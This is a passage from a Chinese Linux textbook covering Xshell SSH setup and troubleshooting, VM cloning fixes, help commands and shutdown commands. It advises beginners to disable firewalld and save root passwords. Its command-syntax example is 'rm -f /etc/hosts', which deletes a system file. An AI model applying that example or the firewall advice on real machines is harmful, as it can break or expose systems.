在该窗口中，首先选择连接的协议为SSH2（也可以选择其他协议），然后在下面的选项框中，配置Linux系统的IP地址及默认的端口号22，单击确定，此时会进入如图3-4所示的提示框。点击我们刚刚创建的连接，则会进入如图3-5所示的提示框。
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图3-2　Xshell界面
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图3-3　快速连接服务器配置端口
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图3-4　添加连接后的提示框
 
如图3-5显示的是主机密钥验证，只有在第一次连接时才会出现这个提示框，单击“接受并保存”按钮，然后进入如图3-6所示的提示窗口。
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图3-5　验证主机秘钥
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图3-6　提示输入用户名

 
输入超级管理员用户名root，然后勾选左下角的“记住用户名”，然后点击“确定”按钮。如果顺利的话，应该会出现输入密码的提示窗口，如图3-7所示。输入root用户的密码，然后勾选左下角的“记住密码”，最后点击“确定”按钮。登录成功后的Linux Shell命令行提示窗口如图3-8所示。
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图3-7　输入密码提示框
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图3-8　正确登录系统后的窗口及命令行
 
此时就可以像在VMware虚拟机里或物理机上接显示器那样管理Linux系统了，你甚至感受不到是在远程管理，因为都是文本操作，操作都非常流畅，哪怕是操作地点距离服务器几千公里之遥。
 
3.2.4　通过SSH工具连接Linux主机的常见问题
 
如果你的操作比较规范，且是在局域网内，那么一般情况下是不会有连接问题的；如果你的操作有疏漏之处，而且是在广域网中，或者是通过拨号上网，那么有可能就会存在一些问题。下面就与大家分享一下部分常见问题的原因及解决办法。
 
1.连接超时问题
 
如果完成3.2.3节介绍的设置步骤依然连接不上Linux主机，那么可能会出现连接超时的提示，如图3-9所示。
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图3-9　连接服务器超时提示
 
如果遇到这个问题，则请检查Linux系统和客户端电脑端的网络连接是不是通畅的，最简单的方法就是在客户端电脑（DOS界面里）上ping一下Linux主机的IP。
 
ping的实际命令如下：
 


C:\Users\oldboy>ping 192.168.2.217

正在 Ping 192.168.2.217 具有 32 字节的数据:

来自 192.168.2.217 的回复: 无法访问目标主机。

来自 192.168.2.217 的回复: 无法访问目标主机。

提示：这是不通的状态

C:\Users\oldboy>ping 192.168.2.217

正在 Ping 192.168.2.217 具有 32 字节的数据:

来自 192.168.2.217 的回复: 字节=32 时间<1ms TTL=64

来自 192.168.2.217 的回复: 字节=32 时间<1ms TTL=64

提示：这是通的状态




 
如果未能ping通Linux主机的IP，则可以通过如下方法进行检查。
 
1）确定Linux主机本身的设置是不是正确，或是否获取到了IP，并且这个IP与客户端电脑的IP是不是在同一个网络里。
 
2）Linux系统的防火墙是否阻挡了客户端电脑和Linux主机之间的22端口。关闭CentOS7 Linux防火墙的方法具体如下：
 


[root@www ~]# systemctl stop firewalld      #<==关闭防火墙。

[root@www ~]# systemctl disable firewalld   #<==禁止开机自启动。




 
2.SSH端口问题
 
可从如下几个方面来查找原因。
 
1）sshd服务程序是否正确开启，确认的示例命令如下：
 


[root@www ~]# ps -ef|grep sshd|grep -v grep

root   7337   1  0 10:45 ?   00:00:00 /usr/sbin/sshd -D #<==若有这一行则表示服务正常




 
2）sshd服务的默认端口22是不是被更改了，确认的示例命令如下：
 


[root@www ~]# netstat -lntup|grep sshd

tcp    0    0 0.0.0.0:22    0.0.0.0:*    LISTEN      7337/sshd

tcp6   0    0 :::22         :::*         LISTEN      7337/sshd




 
3）是否因为开启了firewalld防火墙而导致禁止连接，确认的示例代码如下：
 


[root@www ~]# systemctl status firewalld

● firewalld.service - firewalld - dynamic firewall daemon

   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled)

   Active: inactive (dead) #<==表示非工作状态。

     Docs: man:firewalld(1)

Jan 29 22:09:44 oldboy systemd[1]: Starting firewalld - dynamic firewall daemon...

Jan 29 22:09:45 oldboy systemd[1]: Started firewalld - dynamic firewall daemon.

Jan 30 13:15:59 www systemd[1]: Stopping firewalld - dynamic firewall daemon...

Jan 30 13:15:59 www systemd[1]: Stopped firewalld - dynamic firewall daemon.




 
检测是否开启了防火墙阻挡的简单方法是在客户端电脑或者在Xshell界面里执行telnet 192.168.2.217 22来检查连通性，如图3-10所示的就是通畅状态。
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图3-10　telnet检测Linux系统SSH服务是否通畅
 
4）客户端Xshell是不是配错了连接的端口或IP。
 
最后就是从连接的Xshell客户端设置检查，以查看配置是否正确，如图3-11所示。
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图3-11　Xshell客户端连接Linux配置
 
SSH端口问题大体上都是由上述4类情况引起的，更多原因可加入本书QQ交流群进一步探讨。
 
3.2.5　调整Xshell的终端显示和回滚缓冲区大小
 
磨刀不误砍柴工，为了更方便地学习Linux，首先得对终端进行一些调整，步骤如下：首先通过Xshell顶部菜单中的“文件”→“属性”打开会话属性窗口，然后单击左边菜单“终端”，在终端右边的选项框里选择“Linux”，最后设置缓冲区为102400，并点击“确定”（如图3-12所示）。
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图3-12　会话属性-终端图示
 
调整终端显示和回滚缓冲区的说明如下。
 
·终端选择为Linux（有网友选择Xterm，也是可以的），目的是让Xshell里的Linux命令行用起来更舒服，如果开发的是Shell/Python程序，则更利于进行代码展示，比如会高亮显示代码等。

·调整回滚缓冲区的目的是，操作内容过多时，若想回看操作过的记录，则可以向上翻得更远一些。
 
3.2.6　调整字体及光标颜色
 
继续单击左边菜单中的“外观”，在右侧内容区会显示与“窗口和文本外观”相关的选项，如图3-13所示。
 
在如图3-13所示的界面中，修改字体大小为14，选择“使用闪烁的光标”，然后点击“确定”按钮。
 
3.2.7　配置记录SSH操作日志及输出
 
设置在Xshell中记录执行命令及屏幕输出的日志文件，可以更方便地查询曾经操作过的配置、命令及结果输出等（这一点对于大家的学习和工作都非常有用）。
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图3-13　调整字体光标等
 
日志文件的默认格式为：%n_%d_%t.log（日志文件名以连接名字、年、月、日、时分秒的形式记录）。
 
点击用户管理界面左边菜单“高级”中的“日志文件”，在右侧内容区会显示与“日志文件”相关的选项，配置内容如图3-14所示。
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图3-14　配置SSH记录日志图
 
配置SSH操作记录日志的说明具体如下。
 
·在图3-14中，一定要勾选“连接时开始日志记录”，如果不勾选则不会记录。

·日志名称格式保持默认即可。

·如果单独配置这部分内容，则需要退出连接重新登录，上述配置才能生效。

·建议将日志的目录统一放在一个固定目录下，例如d：\ssh下以方便管理。
 
3.2.8　配置本地机器上传下载的目录
 
在默认会话属性界面点击左边菜单的“Xmodem/Zmodem”，然后就可在右侧的目录区中设置文件的上传和下载目录，如图3-15所示。
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图3-15　rz、sz上传下载Windows默认路径
 
上传和下载的路径可以设置为同一个，但所选择的路径必须存在于系统中才行。
 
设置完毕后，就可以通过Xshell连接的Linux命令行经由rz上传文件到Linux系统了，通过“sz文件名”即可下载文件到上述配置的路径里，从而实现客户端电脑和Linux主机的文件传输。
 
下面再来看一下有关上传、下载命令的说明。
 
（1）rz、sz命令的安装方法
 
第一种方法：安装系统时选择包含rz、sz命令的包组。
 
第二种方法：安装系统后，通过执行yum install lrzsz-y或yum groupinstall"Dial-up Networking Support"-y命令来安装。
 
（2）上传命令rz
 
上传内容时，执行rz命令，如果希望覆盖服务器上的同名内容，则可加上参数-y，输入rz-y命令后直接回车，会打开一个上传文件的窗口，然后从这个窗口浏览找到需要传输的文件并进行上传，在这个上传的窗口内选择的文件就是客户端电脑本地要上传到Linux的文件。
 
（3）下载命令sz
 
下载内容时，执行命令“sz filename”，如果希望覆盖本地的同名内容，则可输入“sz-y filename”命令，sz-y命令后面的filename为命令行Linux主机当前目录下的文件，例如，sz oldboy.log。使用sz或“sz-y文件名”命令从服务器上下载文件时，默认的客户端下载路径就是如图3-15所设置的下载路径地址。
 
（4）使用rz、sz命令的注意事项
 
·只能上传、下载文件而不能是目录，如果是目录则需要打包成文件再传。

·上传的文件可以是电脑里的任意文件，下载的文件会下载到Xshell配置的对应下载路径目录中。

·执行rz命令回车后，在出现的窗口中一定不要勾选最下方的“以ASCII方式上传文件”，否则会遇到上传后的文件无法使用的问题，禁止勾选的选项如图3-16所示。
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图3-16　上传文件注意事项图
 
（5）其他工具
 
除了rz、sz等传输文件命令之外，还可以使用ftp、sftp（SSH服务）、winscp等工具来传输文件。
 
（6）鼠标拖动上传功能（需要rz支持）
 
Xshell有一个非常棒的功能，即拖动文件到Xshell窗口，即可实现文件的上传，具体来说就是把要上传的文件拖动到Xshell窗口，松开鼠标，就会实现自动上传操作，读者可以试一试。
 
3.2.9　实现批量部署和管理功能
 
实现这个功能要有一个前提，就是前面在介绍连接时所讲的，要确保所有的标签是在同一个Xshell窗口中打开的（如图3-17所示）。
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图3-17　多标签批量管理登录窗口
 
之后，在任何一个窗口中，右键点击选择最后一个选项“发送键输入到所有会话”（如图3-18所示）。
 
 
 [image: ] 


图3-18　批量操作打开位置
 
开启批量输入模式后的样子以及操作批量管理命令的结果如图3-19所示。
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图3-19　批量执行命令演示图
 
[image: ]提示：如果需要批量部署或执行任务的服务器为数十台，则可以利用Xshell的这个小功能，非常不错，简单易用，其可以替代一些大型的批量部署软件。如果是大规模服务器数量，则可以使用ansiable等批量管理工具。
 
3.2.10　配置Xshell标签路径
 
工作久了，Xshell的标签就会有很多，当重装系统或者更换客户端电脑时，这些标签就会丢失，因此需要对标签进行拷贝以实现备份，可以通过“工具”里面的“选项”指定一个新的配置目录来实现备份，如图3-20所示。
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图3-20　Xshell标签信息存放路径
 
3.2.11　配置标签模板
 
前面已经进行了非常多的配置，若是再新建标签连接服务器，那么要如何继承这些配置呢？
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图3-21　复制配置好的标签
 
方法1：对一个已经配置好的标签实施复制、粘贴操作来新建标签（如图3-21所示），这样它就继承了老标签的配置，只需要再修改相应的特殊配置即可，如IP、会话名字等。
 
方法2：在全局选项里配置上述各种功能设置（如图3-22所示），这样，每次新添加标签时都会使用全局的默认设置。首先断开所有的Xshell连接，然后选择顶部菜单栏“文件”里面的“属性”，也就是修改默认会话的属性（这里不再具体讲解了，留给读者自行使用），这里的修改在新建连接里都会直接继承生效。注意默认会话属性对已有连接配置无效。
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图3-22　全局调整标签配置永久生效
 
3.2.12　SSH远程连接故障排查
 
1.SSH远程连接故障排查案例
 
假设远程Linux服务器的IP地址为192.168.2.217，现在要进行连接故障排查。
 
首先，查看远端服务是否正常，注意，操作命令的机器为客户端电脑DOS命令行或者Xshell界面，基本检查思路具体如下。
 
（1）利用ping命令检查（客户端执行）
 
具体命令为：
 


ping 192.168.2.217 #<== 此命令适合Linux 和Windows


 
这里通过ping命令从客户端发包到服务器，看看是否有数据包返回，从而确定物理链路是否通畅，打个比喻就是想开车去玩，先确定到目的地的高速路是否修通了。
 
[image: ]提示：也可以通过tracert-d 192.168.2.217（仅适合于Windows）或traceroute 192.168.2.217-n（适合于Linux）命令跟踪路由情况，这两个跟踪路由的命令一般用于广域网。
 
如果ping不通，那就说明“高速路”断了，可能是因为以下几点原因。
 
1）对应网卡是否激活（很多人在安装系统时没有勾选网卡开机自启动）。
 
2）网卡对应的IP是否配置正确。
 
3）虚拟机的网卡是不是桥接模式（与本书一致）。
 
（2）检查firewalld等防火墙策略是否阻挡了连接（服务端执行）
 
具体命令为：
 


systemctl status firewalld


 
初学者在学习期间最好关掉firewalld，等日后学习了firewalld之后再开启。打个比喻就是确认是否因为天气原因（例如，大雾或下雪）高速路遇阻无法通行了。
 
（3）利用telnet或nmap命令检查（客户端执行）
 
具体命令为：
 


telnet 192.168.2.217 22


 
或：
 


nmap 192.168.2.217 -p 22 #<== 仅适合Linux，需要安装该软件包后才能使用。


 
通过该命令可以查看连接服务器端192.168.2.217的22端口是不是开通状态，因为SSH服务默认开启的是22端口，同样可以比喻为想开车出去玩，在高速路通了以后，要确认旅游景点是否开放。
 
（4）系统中的SSHD服务是否正常开启，端口是否正确
 
具体命令为：
 


[root@www ~]# netstat -lntup|grep sshd

tcp     0    0 0.0.0.0:22       0.0.0.0:*         LISTEN      7337/sshd

tcp6    0    0 :::22            :::*              LISTEN      7337/sshd




 
（5）检查连接的客户端，例如Xshell连接的IP、端口、协议等是否填写正确。
 
2.SSH远程连接故障排查思路逻辑图
 
为了让大家能够更形象地了解SSH远程连接故障排查思路，下面特用图解来说明相应的逻辑，如图3-23所示。
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图3-23　SSH远程连接故障排查逻辑图
 
表3-5所示的内容为SSH故障排查思路小结。
 
表3-5　SSH故障排查思路
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3.3　克隆VMware下的虚拟机
 
3.3.1　克隆VMware下的CentOS7.6虚拟机
 
在VMware虚拟环境中，对于完成上述操作后的Linux主机，可以做一个快照，然后当作模板机永久保留。以后再需要学习这样的机器时，可以克隆一个新的机器使用，系统安装和优化是较为简单的操作，没必要进行多次重复操作。
 
首先，关闭克隆的虚拟机，如图3-24所示。
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图3-24　关闭虚拟机的状态图
 
右键点击图3-24中左边菜单栏的虚拟机标签，在弹出的菜单中选择“管理”→“克隆”如图3-25所示。
 
克隆的完整步骤见图3-26和图3-27。
 
3.3.2　解决克隆的虚拟机无法上网的问题
 
在克隆虚拟机及使用的过程中也会遇到一些问题。比如，笔者在教学过程中，曾发现有学生通过VMware的完全克隆功能快速创建了一台版本为CentOS 6系列的Linux虚拟机，但遇到了如下问题无法解决。
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图3-25　虚拟机克隆选择界面
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图3-26　虚拟机克隆过程拼图
 
创建后的症状：启动之后使用ip add发现无IP地址，只有回环地址为127.0.0.1。对此，首先要考虑是不是因为MAC/IP地址及主机名都与克隆前的源主机相同（源主机采用手动方式配置的IP）。
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图3-27　点击关闭后，就可以在左边栏看到新克隆的虚拟机了
 
[image: ]注意：但是在CentOS7.6系统克隆上，这种克隆后的虚拟机无法上网的问题就不存在了，也就是说下面所讲解的解决克隆机无法上网的方法可以无需操作了。
 
如果读者使用的是早期的版本系统克隆，或者仍然出现了上述不能上网的问题，那么解决办法可以参考下文。
 
1）编辑网卡对应的eth0的配置文件：vi/etc/sysconfig/network-scripts/ifcfg-eth0，删除配置文件中HWADDR地址及UUID所在的行，命令如下：
 


HWADDR=00:0c:29:08:28:9f

UUID=cee39dbb-6a10-4425-9daf-768b6e79a9c9




 
快速修改方法如下：
 


sed -i '/UUID*/d' /etc/sysconfig/network-scripts/ifcfg-eth0

sed -i '/HWADDR*/d' /etc/sysconfig/network-scripts/ifcfg-eth0




 
[image: ]提示：当然也可以根据实际的HWADDR和UUID进行修改，而不删除。请参见/etc/udev/rules.d/70-persistent-net.rules文件内容帮助。
 
eth0网卡文件修改后，代码如下：
 


[root@oldboy ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth0

DEVICE=eth0

TYPE=Ethernet

ONBOOT=yes

NM_CONTROLLED=yes

BOOTPROTO=none

IPADDR=192.168.2.217

NETMASK=255.255.255.0

DNS2=8.8.8.8

GATEWAY=10.0.0.2

DNS1=10.0.0.2

IPV6INIT=no

USERCTL=no




 
2）清空如下文件：
 


> /etc/udev/rules.d/70-persistent-net.rules。

提示：机器名可以不改




 
3）重启系统，执行reboot或者在虚拟机外重启Linux。
 
原因猜测：虚拟机克隆为了保护源机器和克隆机器启动网络配置地址冲突而做的保护策略，或者开发者并没有考虑到这个问题。
 
老男孩博文参考：http://blog.51cto.com/oldboy/1363853

3.4　本章重点
 
·远程连接Linux的原理及相关软件介绍。

·Xshell的高效操作配置。

·远程连接Linux故障排查思路。

·VMware克隆虚拟机方法。

·解决克隆虚拟机无法联网的问题。
3.5　本章相关问题
 
1）企业场景面试题：Xshell SSH客户端连不上Linux时，应如何排查故障？
 
2）在Linux系统和个人电脑（一般是Windows）之间如何互传文件？
第4章　Linux系统命令行入门基础
 
4.1　Linux命令行概述

 
4.1.1　Linux命令行的作用与意义
 
众所周知，Linux是一个主要通过命令行来进行管理的操作系统，即通过键盘输入指令来管理系统的相关操作，包括但不限于编辑文件、启动停止服务等。这与初学者曾经熟悉的Windows系统使用鼠标点击这类可视化管理大不相同。
 
使用鼠标进行可视化管理的优势是简单、容易上手，缺点是不能方便快速、批量、自动化地管理系统，而且感觉系统也很臃肿，这个时候Linux系统的命令行管理优势就凸显出来了。使用Linux命令行进行管理，不但可以批量、自动化管理，还可以实现智能化、可视化管理，当然，后者需要开发人员配合开发管理界面来完成，但无论如何，Linux系统的优势基因还是快速、批量、自动化、智能化管理系统及处理业务。
 
4.1.2　Linux命令行介绍
 
安装Linux系统时，无论是使用文本模式（命令行）安装，还是使用图形模式安装，最终管理系统的任务都会落到命令行上。
 
大多数互联网企业在安装系统时甚至不会安装图形管理软件包，而是直接使用文本模式安装，因此登录后直接面对的就是命令行的界面（如图4-1所示）。
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图4-1　通过SSH客户端（Xshell）连接Linux系统后的命令行图
 
4.1.3　Linux命令行的开启及退出
 
在开启主机时，Linux系统会经过一系列的引导和程序加载，最终将会出现登录前的提示界面（如图4-2所示）。
 
在图4-2中，将光标定位到“login：”字符串后面，输入超级用户管理员root后，按回车键，弹出密码提示框后再输入密码，注意密码是不显示的。输入正确密码之后，再按回车键就可以登录到Linux系统中了（如图4-3和图4-4所示）。
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图4-2　CentOS Linux系统登录界面
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图4-3　CentOS Linux系统登录前输入用户密码界面

 
在命令行界面，执行exit或logout命令可退出命令行（如图4-5所示），当然也可以使用快捷键Ctrl+d退出命令行，退出命令行后，如果需要再次登录，还应再次输入用户名和密码（除非使用SSH客户端保存用户名和密码）。
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图4-4　CentOS Linux系统登录后的命令行界面
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图4-5　CentOS Linux命令行退出命令操作界面
 
[image: ]特别提示：工作中99%的场景都不会在本节的Linux系统里直接操作，而是会通过SSH远程连接工具（例如，Xshell）远程连接到Linux系统上进行操作，对于这点，新手需要注意一下。
 
4.1.4　Linux命令行提示符介绍
 
Linux命令行结尾的提示符有“#”和“$”两种不同的符号，示例代码如下所示：
 


[root@www ~]#    #<==这是超级管理员root用户对应的命令行。

[oldboy@www ~]$  #<==这是普通用户oldboy对应的命令行。




 
对于上述代码中的提示符，说明如下。
 
1）“#”号是使用超级用户root登录后的命令行结尾提示符，而“$”号是使用普通用户登录后的命令行结尾提示符。
 
2）超级用户具有管理系统的所有权限，普通用户的权限比较小，只能进行基本的系统信息查看等操作，其无法更改系统配置和管理服务。
 
3）命令行提示符“@”前面的字符代表当前登录的用户（可使用whoami命令查询），“@”后面的为主机名（可使用hostname命令查询），“~”所在的位置是窗口当前用户所在的路径（可使用pwd命令查询）。示例代码如下：
 


[oldboy@www ~]$  #<==“@”前的oldboy为当前用户,“@”后的oldboy为主机名，此处的“~”表示当前目录，即家目录。




 
4）Linux命令提示符由PS1环境变量控制。示例代码如下：
 


[root@www ~]# set|grep PS1  #<==注意PS1是大写的。




 
这里的PS1='[\u@\h\W]\$'，可以通过全局配置文件/etc/bashrc或/etc/profile按需进行配置和调整。
 
4.1.5　Linux命令行常用快捷键
 
这里需要特别说明一下的是，在企业工作中，管理Linux时一般不会直接采用键盘、显示器登录系统，而是会通过网络在远程进行管理，因此，这里需要通过远程连接工具连接到Linux系统中，关于远程连接的具体内容请参见第3章的内容讲解。目前最常用的Linux远程连接工具为：Xshell客户端软件，因此，本节涉及的常用命令快捷键就是基于Xshell客户端软件的，其他软件快捷键的使用情况与此基本类似。
 
表4-1展示的是提高Linux运维效率的命令行常用的快捷键，在此列出供读者参考查阅。
 
表4-1　Xshell5远程连接CentOS7 Linux命令行常用快捷键总结
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[image: ]注意：上述快捷键适合于SecureCRT和Xshell客户端。其中，带有符号“*”的为常用快捷键。
4.2　在Linux命令行下查看命令帮助
 
4.2.1　使用man获取命令帮助信息
 
1.man命令的基本语法
 
man命令是Linux系统中最核心的命令之一，因为通过该命令，可以查看其他Linux命令的使用信息。当然了，man命令不仅可以查看命令的使用帮助，还可以查看软件服务配置文件、系统调用、库函数等的帮助信息。
 
【功能说明】
 
man命令用于查看命令的帮助信息。
 
【语法格式】
 


man参数选项 命令/文件




 
【参数选项】
 
man命令的参数选项及具体说明请参见表4-2。
 
表4-2　man命令的参数选项及说明
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【实践操作】
 
范例4-1：查看cp指令的帮助
 


[root@www ~]# man cp  #<==系统管理员一般常见的用法还是直接使用man命令，不带参数。




 
2.利用man查阅命令帮助内容的格式说明
 
当我们使用“man命令”查询各命令所对应的帮助时，帮助内容中的标题格式所对应的含义具体见表4-3。
 
表4-3　执行“man命令”后帮助内容中的标题介绍
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[image: ]注意：表4-3中带有符号“*”的为重点功能说明。
 
可能有一些读者不习惯英文，希望看到中文的man帮助手册，这种情况可以将系统调整为中文的字符集或单独安装man的中文包，不过遗憾的是，man的中文手册内容“年久失修”，与英文手册相去甚远，建议大家还是多查看man的英文帮助，看得多了，自然就容易看懂了。
 
3.进入man帮助页面中的快捷键功能说明
 
执行“man命令”进入到man帮助页面中，实际上就相当于是浏览一个文本文件，可以利用表4-4中的快捷键快速浏览查阅想要查找的内容。
 
表4-4　man帮助页面中的快捷键
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 [image: ]

 
man命令也包含了很多其他的参数，但是在实际工作中几乎是用不到的，如果有部分读者在工作中需要使用man的特殊参数，那么可以使用“man man”命令进行查阅。
 
4.2.2　使用--help参数获取命令帮助信息
 
除了可以使用“man命令”来查看命令的帮助信息之外，还可以使用“--help命令”查看命令的使用信息（如图4-6所示），虽然这个输出有时比较简单，但相应地查看起来也会更方便。
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图4-6　带--help的命令帮助
 
读者也可以用中文显示命令的帮助信息，只需调整系统字符集为“zh_CN.UTF-8”即可。
 


[root@www ~]# LANG="zh_CN.UTF-8"

[root@www ~]# echo $LANG             

zh_CN.UTF-8




 
[image: ]特别说明：工作中到底是使用“man命令”还是“--help命令”呢？建议结合使用，“--help命令”获取的是基础常用的帮助信息，“man命令”获取的是更多更复杂的帮助信息。
 
4.2.3　使用help命令获取bash内置命令帮助
 
在Linux系统里有一些特殊的命令，它们是bash程序的内置命令，例如cd、history、read等，这些命令在系统目录里没有真实的程序文件存在（这些文件存在于bash程序里），对于这部分命令而言，查看帮助的方法就是使用help命令，示例代码如下：
 


[root@www ~]# help cd

cd: cd [-L|-P] [dir]

    Change the shell working directory.

    Change the current directory to DIR.  The default DIR is the value of the

    HOME shell variable.




 
[image: ]提示：如果使用man cd，那么通常会查不到帮助信息，而是会进入bash的帮助页面。
 
有关Linux各种内置命令的讲解详见后文。
 
4.2.4　使用info获取帮助信息
 
Linux系统中的info命令是一个查看程序对应文档信息的命令，可以作为man及help命令的帮助补充。不过一般在企业运维工作中，很少会有机会需要使用info去查询命令的使用帮助，因此，知道有这个命令就可以了，普通读者无需关注太多。使用info命令查看命令帮助的语法操作与man类似，示例代码如下：
 


[root@www ~]# info ls

File: coreutils.info, Node: ls invocation, Next: dir invocation, Up: Directory listing

10.1 `ls': List directory contents

==================================

The `ls' program lists information about files (of any type, including

directories).  Options and file arguments can be intermixed

arbitrarily, as usual.




 
4.2.5　从互联网搜索获取命令帮助信息
 
除了Linux系统自带的帮助功能之外，通过互联网搜索引擎查找命令的帮助信息，可能是很多初学者默认选择的方法，使用互联网搜索引擎查找命令的关键字如图4-7所示。但是当你逐渐熟悉了Linux以后，还应该养成使用man或help查看帮助的习惯，这对读者的能力提升极为关键，当你有了较全面的能力时，无论从什么渠道获取信息都是很有必要的，怎么快捷怎么处理就好了。
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图4-7　使用搜索引擎查找命令帮助信息
 
[image: ]特别说明：对于搜索引擎的使用，优先顺序建议为：www.google.com（需要翻墙才行）→www.bing.com→www.baidu.com。
4.3　Linux关机重启注销命令
 
4.3.1　重启或关机命令：shutdown
 
【功能说明】
 
shutdown是一个用来安全关闭或重启Linux系统的命令，系统在关闭之前会通知所有的登录用户，系统即将关闭，此时所有的新用户都不可以再登录了，与shutdown功能类似的命令还有init、halt、poweroff、reboot。
 
【语法格式】
 


shutdown [OPTION]...  TIME [MESSAGE]

shutdown [选项]       时间  消息




 
[image: ]技巧说明：
 
1）注意shutdown命令与后面的选项之间至少要有一个空格。
 
2）通常情况下，我们执行的shutdown命令为shutdown-h now或shutdown-r now。
 
【选项参数】
 
参数选项及说明见表4-5。
 
表4-5　shutdown命令的参数选项及说明
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[image: ]说明：表中带※符号的为重点说明。
 
shutdown命令的工作过程就是当用户执行了对应参数并附带关机时间的命令之后，其会通知所有的用户即将关机，并且在这个时间内禁止新用户登录；当到了指定的关机时间时，shutdown命令会根据参数选项，发送请求给系统的init进程，请求将系统调整到对应参数的状态（例如，“-h”参数），系统的关机状态实际上对应的是Linux系统里的运行级别0。与系统关机相关的运行级别有：0（关机运行级别）-halt，6（重启运行级别）-reboot。更多信息请查看/etc/inittab文件。
 
【实践操作】
 
范例4-2：关机或重启系统的常见操作
 
一分钟后关闭Linux系统的命令如下：
 


[root@www ~]# shutdown -h +1    #<==1分钟后关闭Linux系统。

Shutdown scheduled for 三 2019-01-30 17:26:31 CST, use 'shutdown -c' to cancel.

Broadcast message from root@www (Wed 2019-01-30 17:25:31 CST): #<==通知所有用户关机信息。

The system is going down for power-off at Wed 2019-01-30 17:26:31 CST! #<==关机时间提示。

^C #<==按Ctrl+c快捷键取消。




 
上述代码中，结尾的“+1”表示的是关机的时间段，即1分钟后关机，当然，你也可以改为5分钟后关机，这个时间段是以当下系统时间为准来计算的，时间段也可以改为具体的时间点。
 
shutdown命令的工作原理如下：一旦到达关机时间，那么shutdown命令会发送请求给系统的init进程将系统调整到合适的运行级别（运行级别命令请参考runlevel命令），其中，0表示关机，6表示重启。所以，执行“init 0”就表示关机，执行“init 6”就表示重启。
 
11点整重启Linux系统的命令如下：
 


[root@www ~]# shutdown -r 11:00

Shutdown scheduled for Thu 2019-01-31 11:00:00 CST, use 'shutdown -c' to cancel.




 
其中，结尾的11：00表示的是关机的时间点，比如说，下午19：00我要和一个女生约会，那么19：00就是一个时间点。本命令相当于是在11：00的时候告诉init进程把运行级别调整为6，即相当于执行了“init 6”命令。
 
立即关闭Linux系统的命令如下：
 


[root@www ~]# shutdown -h now




 
在工作中，一般使用得比较多的都是立即关闭系统命令。
 
4.3.2　关机与重启命令：shutdown/halt/poweroff/reboot/systemctl
 
【功能说明】
 
halt、poweroff、reboot这三个命令对应的是同一个man帮助文档，而halt、poweroff、shutdown、reboot命令都是systemctl命令的链接文件（CentOS7），有关CentOS6的描述，请参考本书第一版图书。
 


[root@www ~]# ls -l `which reboot` `which poweroff` `which halt` `which shutdown`

lrwxrwxrwx. 1 root root 16 Jan 29 23:20 /usr/sbin/halt -> ../bin/systemctl

lrwxrwxrwx. 1 root root 16 Jan 29 23:20 /usr/sbin/poweroff -> ../bin/systemctl

lrwxrwxrwx. 1 root root 16 Jan 29 23:20 /usr/sbin/reboot -> ../bin/systemctl

lrwxrwxrwx. 1 root root 16 Jan 29 23:20 /usr/sbin/shutdown -> ../bin/systemctl

[root@www ~]# which systemctl

/usr/bin/systemctl




 
【语法格式】
 


reboot [OPTION]...

halt [OPTION]...

poweroff [OPTION]...

systemctl [command] #<==CentOS7的独有命令。




 
对于上述这几个命令的参数，由于实在是没有什么价值，因此这里就不为读者介绍了。
 
【实践操作】
 
范例4-3：关机或重启系统的常见操作
 
使用halt关机的命令如下：
 


[root@www ~]# halt  #<==在CentOS7.6中，此处改为了systemctl halt。

Connection closed by foreign host.

Disconnected from remote host(老男孩教育-核心基础教材-192.168.2.217) at 18:02:35.

Type `help' to learn how to use Xshell prompt.




 
使用poweroff关机的命令如下：
 


[root@www ~]# poweroff   #<==在CentOS7.6中，此处改为了systemctl poweroff。

Connection closed by foreign host.

Disconnected from remote host(老男孩教育-核心基础教材-192.168.2.227) at 18:22:16.

Type `help' to learn how to use Xshell prompt.




 
使用systemctl reboot重启系统的命令如下：
 


[root@www ~]# systemctl reboot  #<==在CentOS6中，此处就是reboot。

Connection closed by foreign host.

Disconnected from remote host(老男孩教育-核心基础教材-192.168.2.217) at 18:23:39.

Type `help' to learn how to use Xshell prompt.




 
CentOS7系统中，systemctl有关关机、重启功能的命令小结如表4-6所示。
 
表4-6　CentOS7系统systemctl有关机、重启功能的命令

 
 [image: ]

 
[image: ]提示：CentOS7里新增的systemctl命令功能十分强大，我们后续再慢慢与大家讲解相关内容。
 
4.3.3　关机、重启和注销的命令列表
 
本章结尾为读者总结了Linux（CentOS6和CentOS7都适用）下常见的关机、重启、注销等命令，并标注了企业中的常用命令，具体见表4-7。
 
表4-7　Linux下常见的关机、重启、注销命令集合
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 [image: ]

4.4　本章相关问题
 
1）请描述Linux命令行提示符的含义及控制变量。
 
2）Linux命令行常用的快捷键有哪些？
 
3）如何在Linux命令行下查看帮助？
 
4）请说出你知道的Linux系统的重启和关机命令。
第5章　Linux文件及目录管理命令基础
 
5.1　操作Linux必知必会基础知识

 
在企业里，绝大多数使用Linux的管理员都是通过命令行来操作Linux的，学会如何通过命令行操作Linux是一个Linux管理员重要的必修课。
 
5.1.1　Linux命令行组成结构
 
登录或连接Linux之后，会进入到如下命令行状态：
 


[root@oldboy ~]#




 
表5-1里针对上述命令行字符的组成给出了各自的含义。
 
表5-1　命令行字符的含义
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[image: ]提示：第4章中已经简单讲解过命令行的组成知识，若有不清楚的地方，读者可以返回第4章查阅，此处不再赘述。
 
5.1.2　基本的Linux命令操作语法示例
 
在操作Linux命令之前，先看下命令操作语法格式图，如图5-1所示。
 
 
 [image: ] 


图5-1　Linux命令操作语法格式图
 
在Linux系统运维工作中，常用的操作大多都是在命令行下实现的，示例如下：
 


[root@oldboy ~]#  #<==就是在这样的提示符下输入命令。




 
Linux系统命令操作语法的格式具体如下：
 


命令 [参数选项]  [文件或路径]

rm   -f          /etc/hosts




 
[image: ]说明：
 
1）中括号[]表示可选，即命令的参数及路径文件是可选的。
 
2）参数选项表示使用一个命令的不同功能。
 
3）命令、参数选项、文件或路径两两之间至少要有一个空格。
 
操作示例：创建一个test文件，然后查看创建结果，最后删除它，再查看删除结果。代码如下：
 


[root@oldboy ~]# touch test.txt #<==创建一个test.txt文件。

[root@oldboy ~]# ls #<==查看创建结果。

anaconda-ks.cfg  install.log  install.log.syslog  test.txt #<==结尾带底纹的就是。

[root@oldboy ~]# rm -f test.txt #<==删除text.txt。

[root@oldboy ~]# ls #<==查看删除结果。

anaconda-ks.cfg  install.log  install.log.syslog #<==test.txt已经没了。




 
